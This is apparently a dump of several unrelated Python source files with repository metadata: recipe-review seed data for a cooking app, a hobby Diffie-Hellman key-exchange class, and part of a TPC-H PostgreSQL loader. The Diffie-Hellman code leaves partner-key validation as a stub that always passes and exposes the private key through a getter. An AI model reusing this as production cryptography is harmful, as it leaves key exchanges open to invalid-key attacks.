app/seeds/reviews.py

nikhilmenon2/Learn2Cook

8276c8d42e1476f32916952b105fa434d4c9abcc

[ "PostgreSQL", "Unlicense", "MIT" ]

null

from app.models import db, Review # Adds a demo location, you can add other locations here if you want def seed_reviews(): db.session.bulk_insert_mappings(Review, [ { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 33, "userId": 4 }, { "overall": 4, "review": "Whoever Wrote this is a genius!", "recipeId": 26, "userId": 10 }, { "overall": 4, "review": "I have to keep trying to master this dish!", "recipeId": 33, "userId": 4 }, { "overall": 4, "review": "My family loved this!", "recipeId": 26, "userId": 10 }, { "overall": 4, "review": "Whoever Wrote this is a genius!", "recipeId": 14, "userId": 9 }, { "overall": 4, "review": "This was totally great!", "recipeId": 28, "userId": 5 }, { "overall": 4, "review": "This was totally great!", "recipeId": 41, "userId": 3 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 38, "userId": 7 }, { "overall": 3, "review": "My family loved this!", "recipeId": 14, "userId": 3 }, { "overall": 4, "review": "This was totally great!", "recipeId": 23, "userId": 10 }, { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 1, "userId": 9 }, { "overall": 4, "review": "Awesome!", "recipeId": 33, "userId": 4 }, { "overall": 5, "review": "I loved this", "recipeId": 49, "userId": 4 }, { "overall": 3, "review": "Never tried this type of food before", "recipeId": 22, "userId": 4 }, { "overall": 4, "review": "I loved this", "recipeId": 44, "userId": 8 }, { "overall": 3, "review": "Awesome!", "recipeId": 31, "userId": 8 }, { "overall": 5, "review": "I loved this", "recipeId": 16, "userId": 3 }, { "overall": 5, "review": "Awesome!", "recipeId": 1, "userId": 6 }, { "overall": 5, "review": "If you dont like this there is something wrong with you!", "recipeId": 3, "userId": 8 }, { "overall": 4, "review": "Whoever Wrote this is a genius!", "recipeId": 5, "userId": 9 }, { "overall": 5, "review": "This was totally great!", "recipeId": 7, "userId": 6 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 38, "userId": 6 }, { "overall": 3, "review": "I followed along so easily!", "recipeId": 19, "userId": 7 }, { "overall": 5, "review": "This was totally great!", "recipeId": 45, "userId": 3 }, { "overall": 4, "review": "I followed along so easily!", "recipeId": 16, "userId": 7 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 12, "userId": 8 }, { "overall": 3, "review": "Awesome!", "recipeId": 26, "userId": 3 }, { "overall": 5, "review": "If you dont like this there is something wrong with you!", "recipeId": 8, "userId": 9 }, { "overall": 5, "review": "Never tried this type of food before", "recipeId": 26, "userId": 7 }, { "overall": 4, "review": "Whoever Wrote this is a genius!", "recipeId": 22, "userId": 8 }, { "overall": 3, "review": "I have to keep trying to master this dish!", "recipeId": 43, "userId": 4 }, { "overall": 5, "review": "Never tried this type of food before", "recipeId": 9, "userId": 7 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 21, "userId": 8 }, { "overall": 4, "review": "I loved this", "recipeId": 48, "userId": 4 }, { "overall": 4, "review": "This was totally great!", "recipeId": 36, "userId": 3 }, { "overall": 5, "review": "Awesome!", "recipeId": 35, "userId": 5 }, { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 44, "userId": 4 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 43, "userId": 5 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 2, "userId": 7 }, { "overall": 5, "review": "This was totally great!", "recipeId": 9, "userId": 7 }, { "overall": 4, "review": "I followed along so easily!", "recipeId": 40, "userId": 7 }, { "overall": 5, "review": "Whoever Wrote this is a genius!", "recipeId": 32, "userId": 6 }, { "overall": 4, "review": "I loved this", "recipeId": 9, "userId": 10 }, { "overall": 4, "review": "My family loved this!", "recipeId": 28, "userId": 9 }, { "overall": 5, "review": "Awesome!", "recipeId": 12, "userId": 3 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 32, "userId": 5 }, { "overall": 4, "review": "I loved this", "recipeId": 7, "userId": 3 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 8, "userId": 8 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 21, "userId": 3 }, { "overall": 5, "review": "I loved this", "recipeId": 42, "userId": 8 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 27, "userId": 8 }, { "overall": 5, "review": "Awesome!", "recipeId": 16, "userId": 10 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 33, "userId": 7 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 47, "userId": 10 }, { "overall": 3, "review": "I have to keep trying to master this dish!", "recipeId": 50, "userId": 9 }, { "overall": 3, "review": "I loved this", "recipeId": 38, "userId": 9 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 23, "userId": 7 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 11, "userId": 3 }, { "overall": 5, "review": "Never tried this type of food before", "recipeId": 49, "userId": 4 }, { "overall": 4, "review": "I followed along so easily!", "recipeId": 29, "userId": 10 }, { "overall": 3, "review": "Awesome!", "recipeId": 13, "userId": 6 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 36, "userId": 9 }, { "overall": 3, "review": "I will always treasure this recipe", "recipeId": 30, "userId": 8 }, { "overall": 3, "review": "I have to keep trying to master this dish!", "recipeId": 24, "userId": 5 }, { "overall": 5, "review": "I loved this", "recipeId": 19, "userId": 3 }, { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 30, "userId": 5 }, { "overall": 4, "review": "If you dont like this there is something wrong with you!", "recipeId": 22, "userId": 6 }, { "overall": 3, "review": "I have to keep trying to master this dish!", "recipeId": 28, "userId": 8 }, { "overall": 4, "review": "Awesome!", "recipeId": 47, "userId": 6 }, { "overall": 5, "review": "Awesome!", "recipeId": 13, "userId": 9 }, { "overall": 3, "review": "This was totally great!", "recipeId": 23, "userId": 7 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 49, "userId": 8 }, { "overall": 5, "review": "Awesome!", "recipeId": 19, "userId": 6 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 10, "userId": 5 }, { "overall": 5, "review": "Whoever Wrote this is a genius!", "recipeId": 29, "userId": 5 }, { "overall": 3, "review": "Whoever Wrote this is a genius!", "recipeId": 27, "userId": 4 }, { "overall": 5, "review": "Never tried this type of food before", "recipeId": 28, "userId": 5 }, { "overall": 4, "review": "My family loved this!", "recipeId": 48, "userId": 8 }, { "overall": 5, "review": "My family loved this!", "recipeId": 41, "userId": 10 }, { "overall": 4, "review": "If you dont like this there is something wrong with you!", "recipeId": 2, "userId": 5 }, { "overall": 5, "review": "Awesome!", "recipeId": 36, "userId": 6 }, { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 33, "userId": 7 }, { "overall": 4, "review": "This was totally great!", "recipeId": 21, "userId": 9 }, { "overall": 4, "review": "I loved this", "recipeId": 1, "userId": 9 }, { "overall": 5, "review": "My family loved this!", "recipeId": 10, "userId": 9 }, { "overall": 5, "review": "If you dont like this there is something wrong with you!", "recipeId": 32, "userId": 4 }, { "overall": 5, "review": "I followed along so easily!", "recipeId": 14, "userId": 8 }, { "overall": 4, "review": "My family loved this!", "recipeId": 48, "userId": 9 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 7, "userId": 5 }, { "overall": 3, "review": "I followed along so easily!", "recipeId": 20, "userId": 3 }, { "overall": 4, "review": "Awesome!", "recipeId": 36, "userId": 9 }, { "overall": 4, "review": "Whoever Wrote this is a genius!", "recipeId": 16, "userId": 6 }, { "overall": 5, "review": "I loved this", "recipeId": 42, "userId": 6 }, { "overall": 3, "review": "Whoever Wrote this is a genius!", "recipeId": 15, "userId": 9 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 37, "userId": 10 }, { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 39, "userId": 6 }, { "overall": 5, "review": "I followed along so easily!", "recipeId": 28, "userId": 8 }, { "overall": 4, "review": "I loved this", "recipeId": 7, "userId": 8 }, { "overall": 4, "review": "If you dont like this there is something wrong with you!", "recipeId": 15, "userId": 9 }, { "overall": 5, "review": "If you dont like this there is something wrong with you!", "recipeId": 24, "userId": 6 }, { "overall": 4, "review": "I have to keep trying to master this dish!", "recipeId": 23, "userId": 4 }, { "overall": 5, "review": "Awesome!", "recipeId": 5, "userId": 7 }, { "overall": 5, "review": "If you dont like this there is something wrong with you!", "recipeId": 19, "userId": 6 }, { "overall": 5, "review": "I loved this", "recipeId": 32, "userId": 4 }, { "overall": 4, "review": "This was totally great!", "recipeId": 1, "userId": 10 }, { "overall": 3, "review": "I have to keep trying to master this dish!", "recipeId": 42, "userId": 5 }, { "overall": 3, "review": "Whoever Wrote this is a genius!", "recipeId": 17, "userId": 5 }, { "overall": 5, "review": "Never tried this type of food before", "recipeId": 26, "userId": 8 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 12, "userId": 9 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 21, "userId": 10 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 7, "userId": 3 }, { "overall": 4, "review": "I have to keep trying to master this dish!", "recipeId": 40, "userId": 6 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 3, "userId": 6 }, { "overall": 5, "review": "Awesome!", "recipeId": 18, "userId": 10 }, { "overall": 3, "review": "Awesome!", "recipeId": 19, "userId": 9 }, { "overall": 3, "review": "I followed along so easily!", "recipeId": 25, "userId": 3 }, { "overall": 3, "review": "This was totally great!", "recipeId": 38, "userId": 6 }, { "overall": 5, "review": "This was totally great!", "recipeId": 4, "userId": 5 }, { "overall": 4, "review": "I have to keep trying to master this dish!", "recipeId": 2, "userId": 5 }, { "overall": 4, "review": "I loved this", "recipeId": 14, "userId": 4 }, { "overall": 5, "review": "My family loved this!", "recipeId": 20, "userId": 3 }, { "overall": 4, "review": "My family loved this!", "recipeId": 26, "userId": 9 }, { "overall": 3, "review": "Never tried this type of food before", "recipeId": 28, "userId": 4 }, { "overall": 3, "review": "I loved this", "recipeId": 9, "userId": 7 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 9, "userId": 5 }, { "overall": 5, "review": "My family loved this!", "recipeId": 30, "userId": 4 }, { "overall": 3, "review": "Awesome!", "recipeId": 8, "userId": 6 }, { "overall": 3, "review": "I will always treasure this recipe", "recipeId": 45, "userId": 3 }, { "overall": 4, "review": "My family loved this!", "recipeId": 11, "userId": 4 }, { "overall": 3, "review": "Never tried this type of food before", "recipeId": 16, "userId": 4 }, { "overall": 4, "review": "I followed along so easily!", "recipeId": 41, "userId": 10 }, { "overall": 4, "review": "This was totally great!", "recipeId": 4, "userId": 6 }, { "overall": 4, "review": "My family loved this!", "recipeId": 3, "userId": 8 }, { "overall": 3, "review": "I loved this", "recipeId": 29, "userId": 9 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 13, "userId": 9 }, { "overall": 4, "review": "This was totally great!", "recipeId": 1, "userId": 4 }, { "overall": 5, "review": "I loved this", "recipeId": 8, "userId": 6 }, { "overall": 4, "review": "Awesome!", "recipeId": 27, "userId": 9 }, { "overall": 4, "review": "If you dont like this there is something wrong with you!", "recipeId": 22, "userId": 3 }, { "overall": 5, "review": "Whoever Wrote this is a genius!", "recipeId": 42, "userId": 9 }, { "overall": 5, "review": "This was totally great!", "recipeId": 34, "userId": 5 }, { "overall": 3, "review": "I will always treasure this recipe", "recipeId": 20, "userId": 6 }, { "overall": 5, "review": "Whoever Wrote this is a genius!", "recipeId": 41, "userId": 4 }, { "overall": 3, "review": "I loved this", "recipeId": 18, "userId": 4 }, { "overall": 5, "review": "This was totally great!", "recipeId": 38, "userId": 5 }, { "overall": 5, "review": "I followed along so easily!", "recipeId": 20, "userId": 3 }, { "overall": 3, "review": "Awesome!", "recipeId": 38, "userId": 6 }, { "overall": 5, "review": "This was totally great!", "recipeId": 15, "userId": 6 }, { "overall": 3, "review": "I followed along so easily!", "recipeId": 28, "userId": 5 }, { "overall": 3, "review": "Never tried this type of food before", "recipeId": 39, "userId": 7 }, { "overall": 5, "review": "Awesome!", "recipeId": 20, "userId": 5 }, { "overall": 5, "review": "Whoever Wrote this is a genius!", "recipeId": 43, "userId": 9 }, { "overall": 5, "review": "Awesome!", "recipeId": 25, "userId": 5 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 31, "userId": 4 }, { "overall": 3, "review": "This was totally great!", "recipeId": 27, "userId": 4 }, { "overall": 5, "review": "This was totally great!", "recipeId": 8, "userId": 6 }, { "overall": 5, "review": "This was totally great!", "recipeId": 35, "userId": 5 }, { "overall": 5, "review": "I will always treasure this recipe", "recipeId": 20, "userId": 3 }, { "overall": 4, "review": "I followed along so easily!", "recipeId": 46, "userId": 6 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 41, "userId": 10 }, { "overall": 5, "review": "I loved this", "recipeId": 29, "userId": 7 }, { "overall": 4, "review": "If you dont like this there is something wrong with you!", "recipeId": 26, "userId": 8 }, { "overall": 5, "review": "This was totally great!", "recipeId": 2, "userId": 5 }, { "overall": 3, "review": "Whoever Wrote this is a genius!", "recipeId": 4, "userId": 6 }, { "overall": 4, "review": "If you dont like this there is something wrong with you!", "recipeId": 12, "userId": 5 }, { "overall": 3, "review": "My family loved this!", "recipeId": 29, "userId": 10 }, { "overall": 4, "review": "This was totally great!", "recipeId": 39, "userId": 9 }, { "overall": 3, "review": "My family loved this!", "recipeId": 31, "userId": 10 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 16, "userId": 4 }, { "overall": 3, "review": "Whoever Wrote this is a genius!", "recipeId": 28, "userId": 6 }, { "overall": 5, "review": "This was totally great!", "recipeId": 5, "userId": 8 }, { "overall": 5, "review": "This was totally great!", "recipeId": 15, "userId": 3 }, { "overall": 5, "review": "Never tried this type of food before", "recipeId": 2, "userId": 10 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 33, "userId": 9 }, { "overall": 4, "review": "I loved this", "recipeId": 25, "userId": 8 }, { "overall": 5, "review": "If you dont like this there is something wrong with you!", "recipeId": 4, "userId": 10 }, { "overall": 5, "review": "This was totally great!", "recipeId": 33, "userId": 10 }, { "overall": 5, "review": "My family loved this!", "recipeId": 4, "userId": 10 }, { "overall": 4, "review": "I loved this", "recipeId": 16, "userId": 10 }, { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 31, "userId": 7 }, { "overall": 4, "review": "I followed along so easily!", "recipeId": 23, "userId": 6 }, { "overall": 3, "review": "This was totally great!", "recipeId": 19, "userId": 7 }, { "overall": 4, "review": "Awesome!", "recipeId": 40, "userId": 5 }, { "overall": 5, "review": "My family loved this!", "recipeId": 16, "userId": 7 }, { "overall": 3, "review": "My family loved this!", "recipeId": 2, "userId": 4 }, { "overall": 5, "review": "I have to keep trying to master this dish!", "recipeId": 5, "userId": 5 }, { "overall": 5, "review": "Awesome!", "recipeId": 24, "userId": 3 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 30, "userId": 5 }, { "overall": 3, "review": "Whoever Wrote this is a genius!", "recipeId": 35, "userId": 9 }, { "overall": 4, "review": "Never tried this type of food before", "recipeId": 25, "userId": 4 }, { "overall": 4, "review": "Awesome!", "recipeId": 5, "userId": 8 }, { "overall": 5, "review": "Awesome!", "recipeId": 18, "userId": 9 }, { "overall": 3, "review": "If you dont like this there is something wrong with you!", "recipeId": 35, "userId": 7 }, { "overall": 5, "review": "If you dont like this there is something wrong with you!", "recipeId": 32, "userId": 5 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 32, "userId": 9 }, { "overall": 4, "review": "I will always treasure this recipe", "recipeId": 29, "userId": 6 }, { "overall": 3, "review": "I will always treasure this recipe", "recipeId": 24, "userId": 9 }, { "overall": 5, "review": "My family loved this!", "recipeId": 32, "userId": 10 }, { "overall": 3, "review": "I followed along so easily!", "recipeId": 2, "userId": 7 }, { "overall": 4, "review": "I followed along so easily!", "recipeId": 6, "userId": 6 } ] ) db.session.commit() # Uses a raw SQL query to TRUNCATE the locations table. # SQLAlchemy doesn't have a built in function to do this # TRUNCATE Removes all the data from the table, and resets # the auto incrementing primary key def undo_reviews(): db.session.execute('TRUNCATE reviews;') db.session.commit()

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0.037534

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0.808311

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69,661

1,222

114

57.005728

0.677184

0.003818

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0.001653

true

0

0.000826

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null

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null

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12d3d03d0b49088a3581186d8746a2f03cf5cccc

8,476

py

Python

diffie-hellman.py

draescherl/diffie-hellman

bf9623233d6dd74e0821b9f8a7c8ae99f80a2930

[ "Apache-2.0" ]

null

diffie-hellman.py

draescherl/diffie-hellman

bf9623233d6dd74e0821b9f8a7c8ae99f80a2930

[ "Apache-2.0" ]

null

diffie-hellman.py

draescherl/diffie-hellman

bf9623233d6dd74e0821b9f8a7c8ae99f80a2930

[ "Apache-2.0" ]

null

from os import urandom from sys import exit # See https://tools.ietf.org/html/rfc3526 for these groups : groups = { # 1536-bit 5: { "prime": 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF, "generator": 2 }, # 2048-bit 14: { "prime": 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF, "generator": 2 }, # 3072-bit 15: { "prime": 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF, "generator": 2 }, # 4096-bit 16: { "prime": 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF, "generator": 2 }, # 6144-bit 17: { "prime": 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF, "generator": 2 }, # 8192-bit 18: { "prime": 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF, "generator": 2 } } # Class to implement the DiffieHellman algorithm # For a simple example on how this algorithm works, # see https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange#Cryptographic_explanation class DiffieHellman: # Instanciate the class by calling one of the g/p pairs # 2048-bit is the minimum recommended length def __init__(self, group=14): if group in groups: self.__p = groups[group]["prime"] self.__g = groups[group]["generator"] else: print("Group not supported :", group) exit() # Get the hex value of the random value generated # by the Linux getrandom() syscall self.__private_key = int(urandom(32).hex(), base=16) # Getter for the private key def get_private_key(self): return self.__private_key # Compute g^a mod p where a is the private key def generate_pubkey(self): return pow(self.__g, self.__private_key, self.__p) # TODO : write method to check the strength of the partner's pubkey def __check_other_pubkey(self, other_pubkey): return True # Compute B^a mod p where B is the partner's pubkey def gen_shared_key(self, other_pubkey): if self.__check_other_pubkey(other_pubkey): self.__shared_key = pow(other_pubkey, self.__private_key, self.__p) return hex(self.__shared_key) else: print("Unsupported partner key") exit() # test : dh1 = DiffieHellman() dh2 = DiffieHellman() a = dh1.generate_pubkey() b = dh2.generate_pubkey() s = dh1.gen_shared_key(b) print("s =", s)

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12f914556ba67c0084c1d1f6a92e6df505191b6f

4,461

py

Python

tpch4pgsql/load.py

bombehub/tpch-pgsql

f377df82766603f5795ad05a8a101f08526358d7

[ "Apache-2.0" ]

null

tpch4pgsql/load.py

bombehub/tpch-pgsql

f377df82766603f5795ad05a8a101f08526358d7

[ "Apache-2.0" ]

null

tpch4pgsql/load.py

bombehub/tpch-pgsql

f377df82766603f5795ad05a8a101f08526358d7

[ "Apache-2.0" ]

null

import os from tpch4pgsql import postgresqldb as pgdb def clean_database(query_root, host, port, db_name, user, password, tables): """Drops the tables if they exist Args: query_root (str): Directory in which generated queries directory exists host (str): IP/hostname of the PG instance port (int): port for the PG instance db_name (str): name of the tpch database user (str): user for the PG instance password (str): password for the PG instance tables (str): list of tables Return: 0 if successful non zero otherwise """ try: conn = pgdb.PGDB(host, port, db_name, user, password) try: for table in tables: conn.executeQuery("DROP TABLE IF EXISTS %s " % table) except Exception as e: print("unable to remove existing tables. %s" % e) return 1 print("dropped existing tables") conn.commit() conn.close() return 0 except Exception as e: print("unable to connect to the database. %s" % e) return 1 def create_schema(query_root, host, port, db_name, user, password, prep_query_dir): """Creates the schema for the tests. Drops the tables if they exist Args: query_root (str): Directory in which generated queries directory exists host (str): IP/hostname of the PG instance port (int): port for the PG instance db_name (str): name of the tpch database user (str): user for the PG instance password (str): password for the PG instance prep_query_dir (str): directory with queries for schema creation Return: 0 if successful non zero otherwise """ try: conn = pgdb.PGDB(host, port, db_name, user, password) try: conn.executeQueryFromFile(os.path.join(query_root, prep_query_dir, "create_tbl.sql")) except Exception as e: print("unable to run create tables. %s" % e) return 1 conn.commit() conn.close() except Exception as e: print("unable to connect to the database. %s" % e) return 1 def load_tables(data_dir, host, port, db_name, user, password, tables, load_dir): """Loads data into tables. Expects that tables are already empty. Args: data_dir (str): Directory in which load data exists host (str): IP/hostname of the PG instance port (int): port for the PG instance db_name (str): name of the tpch database user (str): user for the PG instance password (str): password for the PG instance tables (str): list of tables load_dir (str): directory with data files to be loaded Return: 0 if successful non zero otherwise """ try: conn = pgdb.PGDB(host, port, db_name, user, password) try: for table in tables: filepath = os.path.join(data_dir, load_dir, table.lower() + ".tbl.csv") conn.copyFrom(filepath, separator="|", table=table.lower()) conn.commit() except Exception as e: print("unable to run load tables. %s" %e) return 1 conn.close() return 0 except Exception as e: print("unable to connect to the database. %s" % e) return 1 def index_tables(query_root, host, port, db_name, user, password, prep_query_dir): """Creates indexes and foreign keys for loaded tables. Args: query_root (str): Directory in which preparation queries directory exists host (str): IP/hostname of the PG instance port (int): port for the PG instance db_name (str): name of the tpch database user (str): user for the PG instance password (str): password for the PG instance prep_query_dir (str): directory with create index script Return: 0 if successful non zero otherwise """ try: conn = pgdb.PGDB(host, port, db_name, user, password) try: 